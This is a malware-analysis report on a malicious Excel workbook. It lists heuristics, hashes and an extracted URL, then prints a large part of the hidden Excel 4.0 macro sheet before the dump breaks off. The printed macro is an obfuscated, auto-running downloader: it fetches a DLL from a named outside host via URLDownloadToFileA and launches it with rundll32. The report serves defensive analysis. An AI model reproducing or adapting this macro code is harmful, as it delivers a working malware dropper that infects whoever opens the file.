Office (OOXML) malware analysis — malicious · 4149dbb291d831d6

MALICIOUS

Office (OOXML)

34.7 KB Created: 2020-05-18 12:47:59 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24

MD5: 5f206fa5cf9aa4ed04b8e4d8a303ff05 SHA-1: 16e404d09f1d3178ca20541685a4091b0d5c2bef SHA-256: 4149dbb291d831d6c0429db387f4d6ca59c913e03e8d1c598f65aa9d3b242641

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_DANGEROUS_FN' heuristics. The macros utilize the 'RUN' function, which is a critical primitive for executing arbitrary code. The presence of embedded URLs suggests that the macro is intended to download and execute a second-stage payload from a remote server. The 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristic further indicates that the macro is designed to run automatically upon opening the document.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 9 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://belayedd.at/pa/3/rbs.dll In document text (OOXML body / shared strings)
- https://belayedd.at/pa/3/rbsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	50665 bytes
SHA-256: `2caf2413ff9feab4c82dca5110f399e274c044efcba84549d1909caee736578b`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A4:IO1998"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="4" spans="75:156" x14ac:dyDescent="0.25"><c r="EZ4" t="b"><f>RUN($AY$492)</f><v>0</v></c></row><row r="12" spans="75:156" x14ac:dyDescent="0.25"><c r="DM12" t="b"><f>RUN($FT$655)</f><v>0</v></c></row><row r="14" spans="75:156" x14ac:dyDescent="0.25"><c r="CC14"><v>933</v></c><c r="DD14"><v>536</v></c></row><row r="15" spans="75:156" x14ac:dyDescent="0.25"><c r="BW15" t="str"><f>CHAR($IB$342-304)</f><v>i</v></c></row><row r="25" spans="187:187" x14ac:dyDescent="0.25"><c r="GE25"><v>648</v></c></row><row r="33" spans="47:163" x14ac:dyDescent="0.25"><c r="AU33"><v>924</v></c></row><row r="34" spans="47:163" x14ac:dyDescent="0.25"><c r="FE34" t="str"><f>CHAR($DI$1986-814)</f><v>D</v></c></row><row r="37" spans="47:163" x14ac:dyDescent="0.25"><c r="BQ37"><v>74</v></c></row><row r="41" spans="47:163" x14ac:dyDescent="0.25"><c r="BN41"><v>915</v></c></row><row r="44" spans="47:163" x14ac:dyDescent="0.25"><c r="EQ44" t="str"><f>CHAR($ID$1003-814)</f><v>E</v></c></row><row r="46" spans="47:163" x14ac:dyDescent="0.25"><c r="FG46"><v>890</v></c></row><row r="54" spans="54:238" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$BA$608</f><v>https://belayedd.at/pa/3/rbs.dll</v></c><c r="BL54"><v>18</v></c></row><row r="55" spans="54:238" x14ac:dyDescent="0.25"><c r="CF55"><v>57</v></c></row><row r="57" spans="54:238" x14ac:dyDescent="0.25"><c r="ID57" t="str"><f>CHAR($IA$1257-814)</f><v>e</v></c></row><row r="59" spans="54:238" x14ac:dyDescent="0.25"><c r="BE59"><v>640</v></c><c r="GE59"><v>930</v></c></row><row r="60" spans="54:238" x14ac:dyDescent="0.25"><c r="BN60" t="str"><f>CHAR($GW$1276-532)</f><v>r</v></c></row><row r="73" spans="24:222" x14ac:dyDescent="0.25"><c r="AY73" t="str"><f>CHAR($CF$147-814)</f><v>y</v></c></row><row r="74" spans="24:222" x14ac:dyDescent="0.25"><c r="CY74" t="b"><f>RUN($HB$1876)</f><v>0</v></c></row><row r="76" spans="24:222" x14ac:dyDescent="0.25"><c r="FS76"><v>560</v></c></row><row r="77" spans="24:222" x14ac:dyDescent="0.25"><c r="CR77"><v>537</v></c><c r="HN77" t="str"><f>CHAR($BB$823-814)</f><v>r</v></c></row><row r="78" spans="24:222" x14ac:dyDescent="0.25"><c r="FG78"><v>92</v></c></row><row r="80" spans="24:222" x14ac:dyDescent="0.25"><c r="X80"><v>579</v></c></row><row r="92" spans="200:200" x14ac:dyDescent="0.25"><c r="GR92"><v>388</v></c></row><row r="105" spans="2:62" x14ac:dyDescent="0.25"><c r="AZ105"><v>560</v></c><c r="BJ105"><v>420</v></c></row><row r="110" spans="2:62" x14ac:dyDescent="0.25"><c r="B110"><v>590</v></c></row><row r="115" spans="51:249" x14ac:dyDescent="0.25"><c r="FT115" t="b"><f>RUN($GD$1422)</f><v>0</v></c></row><row r="116" spans="51:249" x14ac:dyDescent="0.25"><c r="CS116"><v>629</v></c><c r="DF116" t="str"><f>CHAR($EP$1354-814)</f><v>e</v></c><c r="FB116" t="str"><f>CHAR($S$787-814)</f><v>i</v></c></row><row r="118" spans="51:249" x14ac:dyDescent="0.25"><c r="AY118" t="str"><f>CHAR($AT$337-814)</f><v>h</v></c></row><row r="120" spans="51:249" x14ac:dyDescent="0.25"><c r="IO120" t="b"><f>RUN($EB$315)</f><v>0</v></c></row><row r="123" spans="51:249" x14ac:dyDescent="0.25"><c r="EH123"><v>424</v></c></row><row r="130" spans="23:185" x14ac:dyDescent="0.25"><c r="DU130" t="b"><f>RUN($GK$562)</f><v>0</v></c></row><row r="138" spans="23:185" x14ac:dyDescent="0.25"><c r="EE138"><v>930</v></c></row><row r="140" spans="23:185" x14ac:dyDescent="0.25"><c r="W140" t="str"><f>CHAR($FT$993-532)</f><v>.</v></c></row><row r="141" spans="23:185" x14ac:dyDescent="0.25"><c r="CX141" t="str"><f>CHAR($BV$458-459)</f><v>2</v></c></row><row r="143" spans="23:185" x14ac:dyDescent="0.25"><c r="GC143" t="b"><f>RUN($EX$734)</f><v>0</v></c></row><row r="145" spans="70:232" x14ac:dyDescent="0.25"><c r="FF145" t="b"><f>RUN($FZ$1303)</f><v>0</v></c></row><row r="147" spans="70:232" x14ac:dyDescent="0.25"><c r="CF147"><v>935</v></c></row><row r="150" spans="70:232" x14ac:dyDescent="0.25"><c r="BR150" t="str"><f>CHAR($AC$1860-532)</f><v>y</v></c></row><row r="154" spans="70:232" x14ac:dyDescent="0.25"><c r="HX154"><v>934</v></c></row><row r="155" spans="70:232" x14ac:dyDescent="0.25"><c r="FL155"><v>538</v></c></row><row r="158" spans="70:232" x14ac:dyDescent="0.25"><c r="GT158" t="str"><f>CHAR($BS$942-814)</f><v>o</v></c></row><row r="161" spans="109:246" x14ac:dyDescent="0.25"><c r="EM161" t="b"><f>RUN($GD$1944)</f><v>0</v></c><c r="IL161" t="str"><f>CHAR($GS$599-304)</f><v>\</v></c></row><row r="162" spans="109:246" x14ac:dyDescent="0.25"><c r="DE162" t="b"><f>RUN($EG$1093)</f><v>0</v></c></row><row r="189" spans="5:237" x14ac:dyDescent="0.25"><c r="DA189"><v>931</v></c></row><row r="190" spans="5:237" x14ac:dyDescent="0.25"><c r="IC190"><v>92</v></c></row><row r="191" spans="5:237" x14ac:dyDescent="0.25"><c r="E191"><v>630</v></c></row><row r="199" spans="101:241" x14ac:dyDescent="0.25"><c r="EC199" t="b"><f>CALL($V$1372,$HQ$611,"JCJ","C:\SdxLykM",0)</f><v>0</v></c></row><row r="200" spans="101:241" x14ac:dyDescent="0.25"><c r="EC200" t="b"><f>CALL($V$1372,$HQ$611,"JCJ","C:\SdxLykM\ihJqIty",0)</f><v>0</v></c></row><row r="201" spans="101:241" x14ac:dyDescent="0.25"><c r="EC201" t="b"><f>CALL($ID$866,$IL$772, "JJCCJJ",0,$BB$54,$AE$784,0,0)</f><v>0</v></c></row><row r="202" spans="101:241" x14ac:dyDescent="0.25"><c r="EC202" t="b"><f>CALL($AF$1205,$E$1912, "JJCCCCJ",0,$HA$751,"rundll32.exe",$AE$784&",f1",0,0)</f><v>0</v></c></row><row r="203" spans="101:241" x14ac:dyDescent="0.25"><c r="FO203" t="b"><f>RUN($FQ$870)</f><v>0</v></c></row><row r="205" spans="101:241" x14ac:dyDescent="0.25"><c r="CW205"><v>898</v></c><c r="IG205" t="b"><f>RUN($HU$1160)</f><v>0</v></c></row><row r="207" spans="101:241" x14ac:dyDescent="0.25"><c r="EC207" t="b"><f>HALT()</f><v>0</v></c></row><row r="213" spans="21:127" x14ac:dyDescent="0.25"><c r="U213" t="b"><f>RUN($HL$1140)</f><v>0</v></c></row><row r="218" spans="21:127" x14ac:dyDescent="0.25"><c r="DW218" t="b"><f>RUN($D$800)</f><v>0</v></c></row><row r="226" spans="13:223" x14ac:dyDescent="0.25"><c r="EQ226" t="str"><f>CHAR($FG$46-814)</f><v>L</v></c></row><row r="227" spans="13:223" x14ac:dyDescent="0.25"><c r="GT227" t="b"><f>RUN($FC$837)</f><v>0</v></c><c r="HO227"><v>648</v></c></row><row r="228" spans="13:223" x14ac:dyDescent="0.25"><c r="EL228"><v>404</v></c></row><row r="235" spans="13:223" x14ac:dyDescent="0.25"><c r="M235"><v>879</v></c></row><row r="248" spans="30:200" x14ac:dyDescent="0.25"><c r="GR248" t="str"><f>CHAR($AC$833-814)</f><v>r</v></c></row><row r="251" spans="30:200" x14ac:dyDescent="0.25"><c r="AD251"><v>88</v></c></row><row r="257" spans="35:157" x14ac:dyDescent="0.25"><c r="ED257" t="str"><f>CHAR($GE$59-814)</f><v>t</v></c></row><row r="260" spans="35:157" x14ac:dyDescent="0.25"><c r="AK260"><v>82</v></c></row><row r="261" spans="35:157" x14ac:dyDescent="0.25"><c r="DM261" t="str"><f>CHAR($GQ$737-814)</f><v>R</v></c></row><row r="265" spans="35:157" x14ac:dyDescent="0.25"><c r="AI265"><v>62</v></c></row><row r="268" spans="35:157" x14ac:dyDescent="0.25"><c r="FA268" t="str"><f>CHAR($FF$442-304)</f><v>\</v></c></row><row r="299" spans="167:167" x14ac:dyDescent="0.25"><c r="FK299"><v>928</v></c></row><row r="306" spans="24:219" x14ac:dyDescent="0.25"><c r="FY306" t="str"><f>CHAR($EC$710-459)</f><v>l</v></c><c r="GP306" t="str"><f>CHAR($EV$926-304)</f><v>k</v></c></row><row r="308" spans="24:219" x14ac:dyDescent="0.25"><c r="HK308"><v>59</v></c></row><row r="310" spans="24:219" x14ac:dyDescent="0.25"><c r="AB310"><v>71</v></c></row><row r="311" spans="24:219" x14ac:dyDescent="0.25"><c r="CS311"><v>915</v></c></row><row r="312" spans="24:219" x14ac:dyDescent="0.25"><c r="X312"><v>98</v></c></row><row r="314" spans="24:219" x14ac:dyDescent="0.25"><c r="AX314"><v>350</v></c><c r="DR314" t="str"><f>CHAR($AX$1506-459)</f><v>e</v></c></row><row r="315" spans="24:219" x14ac:dyDescent="0.25"><c r="EB315" t="b"><f>RUN($EX$1477)</f><v>0</v></c><c r="GO315" t="b"><f>RUN($AO$1979)</f><v>0</v></c></row><row r="317" spans="24:219" x14ac:dyDescent="0.25"><c r="EU317"><v>92</v></c></row><row r="323" spans="9:181" x14ac:dyDescent="0.25"><c r="I323"><v>88</v></c><c r="FO323" t="b"><f>RUN($AS$660)</f><v>0</v></c></row><row r="328" spans="9:181" x14ac:dyDescent="0.25"><c r="FY328" t="b"><f>RUN($EV$708)</f><v>0</v></c></row><row r="337" spans="46:236" x14ac:dyDescent="0.25"><c r="AT337"><v>918</v></c></row><row r="339" spans="46:236" x14ac:dyDescent="0.25"><c r="GI339"><v>409</v></c></row><row r="342" spans="46:236" x14ac:dyDescent="0.25"><c r="HC342"><v>396</v></c><c r="IB342"><v>409</v></c></row><row r="345" spans="46:236" x14ac:dyDescent="0.25"><c r="EA345" t="b"><f>RUN($AW$1517)</f><v>0</v></c></row><row r="348" spans="46:236" x14ac:dyDescent="0.25"><c r="HX348" t="b"><f>RUN($GQ$953)</f><v>0</v></c></row><row r="351" spans="46:236" x14ac:dyDescent="0.25"><c r="ER351" t="str"><f>CHAR($GE$25-532)</f><v>t</v></c></row><row r="355" spans="64:209" x14ac:dyDescent="0.25"><c r="BL355" t="str"><f>CHAR($DV$1135-459)</f><v>h</v></c></row><row r="356" spans="64:209" x14ac:dyDescent="0.25"><c r="CW356" t="str"><f>CHAR($CC$14-814)</f><v>w</v></c></row><row r="359" spans="64:209" x14ac:dyDescent="0.25"><c r="DW359" t="str"><f>CHAR($HO$227-532)</f><v>t</v></c></row><row r="360" spans="64:209" x14ac:dyDescent="0.25"><c r="HA360"><v>362</v></c></row><row r="378" spans="178:178" x14ac:dyDescent="0.25"><c r="FV378" t="b"><f>RUN($GZ$1359)</f><v>0</v></c></row><row r="397" spans="166:166" x14ac:dyDescent="0.25"><c r="FJ397"><v>14</v></c></row><row r="410" spans="64:209" x14ac:dyDescent="0.25"><c r="HA410" t="str"><f>CHAR($FI$1134-814)</f><v>l</v></c></row><row r="415" spans="64:209" x14ac:dyDescent="0.25"><c r="BL415" t="str"><f>CHAR($J$1899-304)</f><v>C</v></c></row><row r="416" spans="64:209" x14ac:dyDescent="0.25"><c r="DB416"><v>28</v></c></row><row r="418" spans="47:47" x14ac:dyDescent="0.25"><c r="AU418" t="b"><f>RUN($FJ$1132)</f><v>0</v></c></row><row r="440" spans="58:209" x14ac:dyDescent="0.25"><c r="BF440" t="b"><f>RUN($O$1073)</f><v>0</v></c><c r="HA440"><v>42</v></c></row><row r="442" spans="58:209" x14ac:dyDescent="0.25"><c r="FF442"><v>396</v></c></row><row r="453" spans="64:149" x14ac:dyDescent="0.25"><c r="ES453"><v>44</v></c></row><row r="458" spans="64:149" x14ac:dyDescent="0.25"><c r="BV458"><v>509</v></c></row><row r="461" spans="64:149" x14ac:dyDescent="0.25"><c r="CK461" t="b"><f>RUN($U$213)</f><v>0</v></c></row><row r="462" spans="64:149" x14ac:dyDescent="0.25"><c r="DX462" t="str"><f>CONCATENATE($HP$1086,$DM$261,$EQ$226,$FE$34,$GT$158,$CW$356,$DG$1969,$AK$911,$FN$531,$ER$1099,$FA$1643,$AV$1562,$HH$1542,$ES$988,$CE$1232,$HT$1579,$AZ$1475,$Z$932)</f><v>URLDownloadToFileA</v></c></row><row r="463" spans="64:149" x14ac:dyDescent="0.25"><c r="CU463" t="b"><f>RUN($HZ$966)</f><v>0</v></c></row><row r="464" spans="64:149" x14ac:dyDescent="0.25"><c r="BL464" t="str"><f>CHAR($DL$1978-814)</f><v>a</v></c></row><row r="488" spans="35:168" x14ac:dyDescent="0.25"><c r="DZ488"><v>636</v></c></row><row r="492" spans="35:168" x14ac:dyDescent="0.25"><c r="AY492" t="b"><f>RUN($EA$1304)</f><v>0</v></c><c r="FL492"><v>510</v></c></row><row r="494" spans="35:168" x14ac:dyDescent="0.25"><c r="AI494" t="b"><f>RUN($BC$859)</f><v>0</v></c></row><row r="496" spans="35:168" x14ac:dyDescent="0.25"><c r="CM496" t="b"><f>RUN($AF$1464)</f><v>0</v></c></row><row r="506" spans="55:55" x14ac:dyDescent="0.25"><c r="BC506"><v>567</v></c></row><row r="522" spans="68:186" x14ac:dyDescent="0.25"><c r="GD522" t="str"><f>CHAR($BO$1094-304)</f><v>F</v></c></row><row r="528" spans="68:186" x14ac:dyDescent="0.25"><c r="BP528" t="b"><f>RUN($CK$461)</f><v>0</v></c></row><row r="531" spans="79:246" x14ac:dyDescent="0.25"><c r="FN531" t="str"><f>CHAR($BR$1933-814)</f><v>o</v></c></row><row r="533" spans="79:246" x14ac:dyDescent="0.25"><c r="CA533" t="str"><f>CHAR($DE$867-304)</f><v>I</v></c><c r="CE533" t="b"><f>RUN($FF$145)</f><v>0</v></c></row><row r="535" spans="79:246" x14ac:dyDescent="0.25"><c r="IL535" t="str"><f>CHAR($GG$607-532)</f><v>d</v></c></row><row r="545" spans="34:213" x14ac:dyDescent="0.25"><c r="AH545" t="str"><f>CHAR($E$1213-532)</f><v>a</v></c></row><row r="550" spans="34:213" x14ac:dyDescent="0.25"><c r="AQ550"><v>44</v></c></row><row r="555" spans="34:213" x14ac:dyDescent="0.25"><c r="HE555" t="str"><f>CHAR($CM$602-304)</f><v>h</v></c></row><row r="562" spans="31:193" x14ac:dyDescent="0.25"><c r="GK562" t="b"><f>RUN($GA$1169)</f><v>0</v></c></row><row r="563" spans="31:193" x14ac:dyDescent="0.25"><c r="AE563"><v>43</v></c></row><row r="571" spans="31:193" x14ac:dyDescent="0.25"><c r="DX571" t="str"><f>CHAR($AX$314-304)</f><v>.</v></c></row><row r="586" spans="145:163" x14ac:dyDescent="0.25"><c r="EO586" t="str"><f>CHAR($Q$709-814)</f><v>A</v></c><c r="FG586"><v>90</v></c></row><row r="599" spans="53:201" x14ac:dyDescent="0.25"><c r="FS599" t="b"><f>RUN($EA$345)</f><v>0</v></c><c r="GS599"><v>396</v></c></row><row r="602" spans="53:201" x14ac:dyDescent="0.25"><c r="CM602"><v>408</v></c></row><row r="605" spans="53:201" x14ac:dyDescent="0.25"><c r="EG605"><v>99</v></c></row><row r="606" spans="53:201" x14ac:dyDescent="0.25"><c r="FM606"><v>59</v></c><c r="GK606" t="b"><f>RUN($IN$1793)</f><v>0</v></c></row><row r="607" spans="53:201" x14ac:dyDescent="0.25"><c r="GG607"><v>632</v></c></row><row r="608" spans="53:201" x14ac:dyDescent="0.25"><c r="BA608" t="str"><f>CONCATENATE($EP$646,$IJ$1672)</f><v>https://belayedd.at/pa/3/rbs.dll</v></c></row><row r="611" spans="21:225" x14ac:dyDescent="0.25"><c r="HQ611" t="str"><f>CONCATENATE($U$1438)</f><v>CreateDirectoryA</v></c></row><row r="613" spans="21:225" x14ac:dyDescent="0.25"><c r="HL613"><v>15</v></c></row><row r="614" spans="21:225" x14ac:dyDescent="0.25"><c r="CD614" t="b"><f>RUN($HW$1834)</f><v>0</v></c></row><row r="621" spans="21:225" x14ac:dyDescent="0.25"><c r="U621" t="str"><f>CHAR($X$80-532)</f><v>/</v></c><c r="CO621" t="str"><f>CHAR($EH$1475-304)</f><v>L</v></c></row><row r="625" spans="59:132" x14ac:dyDescent="0.25"><c r="BG625" t="b"><f>RUN($GR$935)</f><v>0</v></c></row><row r="630" spans="59:132" x14ac:dyDescent="0.25"><c r="EB630"><v>544</v></c></row><row r="646" spans="59:176" x14ac:dyDescent="0.25"><c r="EP646" t="str"><f>CONCATENATE($FC$1016,$ER$351,$EB$1281,$D$1121,$K$1238,$AM$940,$CT$977,$DF$1347,$DQ$1339,$EZ$1437,$HS$1216,$DR$1817,$BR$150,$EC$1134,$EX$1207,$IL$535,$W$140,$FQ$1211,$DW$359,$U$621,$DA$799,$AH$545,$BP$1506,$HX$1859,$HL$1159,$BN$60,$G$1371,$CM$1742,$G$1925)</f><v>https://belayedd.at/pa/3/rbs.</v></c></row><row r="647" spans="59:176" x14ac:dyDescent="0.25"><c r="BG647" t="b"><f>RUN($DG$1322)</f><v>0</v></c></row><row r="655" spans="59:176" x14ac:dyDescent="0.25"><c r="FT655" t="b"><f>RUN($DX$1729)</f><v>0</v></c></row><row r="660" spans="45:226" x14ac:dyDescent="0.25"><c r="AS660" t="b"><f>RUN($GW$1201)</f><v>0</v></c><c r="HR660"><v>922</v></c></row><row r="662" spans="45:226" x14ac:dyDescent="0.25"><c r="CY662"><v>535</v></c></row><row r="680" spans="26:173" x14ac:dyDescent="0.25"><c r="FQ680" t="str"><f>CHAR($DF$1304-814)</f><v>e</v></c></row><row r="681" spans="26:173" x14ac:dyDescent="0.25"><c r="Z681"><v>579</v></c></row><row r="683" spans="26:173" x14ac:dyDescent="0.25"><c r="CC683" t="b"><f>RUN($FD$1055)</f><v>0</v></c></row><row r="692" spans="8:197" x14ac:dyDescent="0.25"><c r="DL692"><v>58</v></c></row><row r="699" spans="8:197" x14ac:dyDescent="0.25"><c r="FF699" t="str"><f>CHAR($HF$1076-304)</f><v>l</v></c></row><row r="702" spans="8:197" x14ac:dyDescent="0.25"><c r="H702" t="str"><f>CHAR($D$926-459)</f><v>n</v></c></row><row r="703" spans="8:197" x14ac:dyDescent="0.25"><c r="GO703"><v>43</v></c></row><row r="708" spans="17:177" x14ac:dyDescent="0.25"><c r="EV708" t="b"><f>RUN($FU$1809)</f><v>0</v></c></row><row r="709" spans="17:177" x14ac:dyDescent="0.25"><c r="Q709"><v>879</v></c></row><row r="710" spans="17:177" x14ac:dyDescent="0.25"><c r="EC710"><v>567</v></c></row><row r="715" spans="17:177" x14ac:dyDescent="0.25"><c r="FU715" t="str"><f>CHAR($DL$1181-304)</f><v>y</v></c></row><row r="720" spans="17:177" x14ac:dyDescent="0.25"><c r="BD720" t="str"><f>CHAR($HC$1760-814)</f><v>o</v></c></row><row r="725" spans="62:246" x14ac:dyDescent="0.25"><c r="BJ725" t="b"><f>RUN($HA$1328)</f><v>0</v></c></row><row r="726" spans="62:246" x14ac:dyDescent="0.25"><c r="IC726" t="str"><f>CHAR($CP$1030-814)</f><v>C</v></c></row><row r="729" spans="62:246" x14ac:dyDescent="0.25"><c r="IL729" t="str"><f>CHAR($GM$1335-814)</f><v>A</v></c></row><row r="734" spans="62:246" x14ac:dyDescent="0.25"><c r="EX734" t="b"><f>RUN($AI$880)</f><v>0</v></c></row><row r="737" spans="59:224" x14ac:dyDescent="0.25"><c r="GQ737"><v>896</v></c></row><row r="740" spans="59:224" x14ac:dyDescent="0.25"><c r="EL740"><v>96</v></c><c r="HP740"><v>18</v></c></row><row r="747" spans="59:224" x14ac:dyDescent="0.25"><c r="GO747" t="str"><f>CHAR($DD$14-459)</f><v>M</v></c></row><row r="751" spans="59:224" x14ac:dyDescent="0.25"><c r="HA751" t="str"><f>CONCATENATE($FI$945)</f><v>Open</v></c></row><row r="752" spans="59:224" x14ac:dyDescent="0.25"><c r="BG752" t="b"><f>RUN($C$1544)</f><v>0</v></c></row><row r="762" spans="8:100" x14ac:dyDescent="0.25"><c r="H762"><v>99</v></c></row><row r="765" spans="8:100" x14ac:dyDescent="0.25"><c r="CV765"><v>1</v></c></row><row r="768" spans="8:100" x14ac:dyDescent="0.25"><c r="BB768"><v>370</v></c></row><row r="772" spans="31:246" x14ac:dyDescent="0.25"><c r="IL772" t="str"><f>CONCATENATE($DX$462)</f><v>URLDownloadToFileA</v></c></row><row r="782" spans="31:246" x14ac:dyDescent="0.25"><c r="BX782"><v>92</v></c></row><row r="784" spans="31:246" x14ac:dyDescent="0.25"><c r="AE784" t="str"><f>CONCATENATE($DP$1484,$FI$1000)</f><v>C:\SdxLykM\ihJqIty\iTBDXzF.dll</v></c></row><row r="785" spans="4:145" x14ac:dyDescent="0.25"><c r="CI785" t="b"><f>RUN($FO$323)</f><v>0</v></c></row><row r="787" spans="4:145" x14ac:dyDescent="0.25"><c r="S787"><v>919</v></c></row><row r="794" spans="4:145" x14ac:dyDescent="0.25"><c r="EO794" t="b"><f>RUN($HF$1365)</f><v>0</v></c></row><row r="799" spans="4:145" x14ac:dyDescent="0.25"><c r="DA799" t="str"><f>CHAR($D$1920-532)</f><v>p</v></c></row><row r="800" spans="4:145" x14ac:dyDescent="0.25"><c r="D800" t="b"><f>RUN($IO$1919)</f><v>0</v></c></row><row r="811" spans="145:192" x14ac:dyDescent="0.25"><c r="EO811" t="str"><f>CHAR($DR$1023-459)</f><v>R</v></c><c r="GJ811" t="b"><f>RUN($CU$463)</f><v>0</v></c></row><row r="823" spans="54:196" x14ac:dyDescent="0.25"><c r="BB823"><v>928</v></c></row><row r="827" spans="54:196" x14ac:dyDescent="0.25"><c r="BW827"><v>640</v></c></row><row r="828" spans="54:196" x14ac:dyDescent="0.25"><c r="GN828" t="str"><f>CHAR($DA$189-814)</f><v>u</v></c></row><row r="833" spans="29:241" x14ac:dyDescent="0.25"><c r="AC833"><v>928</v></c></row><row r="835" spans="29:241" x14ac:dyDescent="0.25"><c r="CP835" t="b"><f>RUN($BB$1787)</f><v>0</v></c></row><row r="837" spans="29:241" x14ac:dyDescent="0.25"><c r="FC837" t="b"><f>RUN($DB$1383)</f><v>0</v></c><c r="HN837" t="str"><f>CHAR($BB$768-304)</f><v>B</v></c></row><row r="839" spans="29:241" x14ac:dyDescent="0.25"><c r="IG839" t="str"><f>CONCATENATE($CJ$1952,$AY$118,$I$897,$HA$410,$W$1723,$EQ$44,$AA$1421,$ID$57,$CJ$1196,$GN$828,$ED$257,$AL$951,$IL$729)</f><v>ShellExecuteA</v></c></row><row r="842" spans="29:241" x14ac:dyDescent="0.25"><c r="GF842" t="b"><f>RUN($HJ$1425)</f><v>0</v></c></row><row r="859" spans="55:55" x14ac:dyDescent="0.25"><c r="BC859" t="b"><f>RUN($BI$1055)</f><v>0</v></c></row><row r="866" spans="35:245" x14ac:dyDescent="0.25"><c r="ID866" t="str"><f>CONCATENATE($AQ$1625)</f><v>URLMON</v></c></row><row r="867" spans="35:245" x14ac:dyDescent="0.25"><c r="DE867"><v>377</v></c></row><row r="870" spans="35:245" x14ac:dyDescent="0.25"><c r="FQ870" t="b"><f>RUN($CE$533)</f><v>0</v></c></row><row r="874" spans="35:245" x14ac:dyDescent="0.25"><c r="HE874" t="str"><f>CHAR($ET$1421-532)</f><v>l</v></c></row><row r="877" spans="35:245" x14ac:dyDescent="0.25"><c r="IK877" t="str"><f>CHAR($EH$123-304)</f><v>x</v></c></row><row r="878" spans="35:245" x14ac:dyDescent="0.25"><c r="DF878"><v>417</v></c></row><row r="880" spans="35:245" x14ac:dyDescent="0.25"><c r="AI880" t="b"><f>RUN($CY$74)</f><v>0</v></c></row><row r="886" spans="105:168" x14ac:dyDescent="0.25"><c r="DA886"><v>378</v></c></row><row r="888" spans="105:168" x14ac:dyDescent="0.25"><c r="FL888" t="str"><f>CHAR($HA$360-304)</f><v>:</v></c></row><row r="896" spans="105:168" x14ac:dyDescent="0.25"><c r="DD896" t="str"><f>CHAR($EE$138-814)</f><v>t</v></c></row><row r="897" spans="9:166" x14ac:dyDescent="0.25"><c r="I897" t="str"><f>CHAR($CS$311-814)</f><v>e</v></c></row><row r="902" spans="9:166" x14ac:dyDescent="0.25"><c r="CF902"><v>36</v></c></row><row r="905" spans="9:166" x14ac:dyDescent="0.25"><c r="FJ905" t="b"><f>RUN($HV$1252)</f><v>0</v></c></row><row r="911" spans="9:166" x14ac:dyDescent="0.25"><c r="AK911" t="str"><f>CHAR($HR$660-814)</f><v>l</v></c></row><row r="914" spans="4:238" x14ac:dyDescent="0.25"><c r="AO914"><v>93</v></c></row><row r="921" spans="4:238" x14ac:dyDescent="0.25"><c r="ID921" t="str"><f>CHAR($HD$1121-304)</f><v>y</v></c></row><row r="923" spans="4:238" x14ac:dyDescent="0.25"><c r="EZ923"><v>647</v></c></row><row r="926" spans="4:238" x14ac:dyDescent="0.25"><c r="D926"><v>569</v></c><c r="EV926"><v>411</v></c></row><row r="929" 